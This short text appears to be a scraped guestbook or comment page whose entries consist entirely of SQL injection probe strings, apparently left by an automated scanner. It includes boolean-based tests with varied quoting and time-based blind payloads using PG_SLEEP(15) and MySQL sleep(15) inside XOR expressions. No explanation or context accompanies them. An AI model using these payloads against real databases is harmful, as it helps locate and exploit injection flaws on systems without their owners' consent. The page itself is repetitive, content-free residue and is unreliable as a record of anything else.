Guest:
555-1 OR 13=(SELECT 13 FROM PG_SLEEP(15))--


Guest:
555-1 OR 13=(SELECT 13 FROM PG_SLEEP(15))--


-1 OR 2+681-681-1=0+0+0+1 --

-1 OR 2+53-53-1=0+0+0+1

-1' OR 2+868-868-1=0+0+0+1 --

-1' OR 2+306-306-1=0+0+0+1 or 'diDtp42f'='

-1" OR 2+863-863-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555-1 OR 13=(SELECT 13 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1 OR 13=(SELECT 13 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z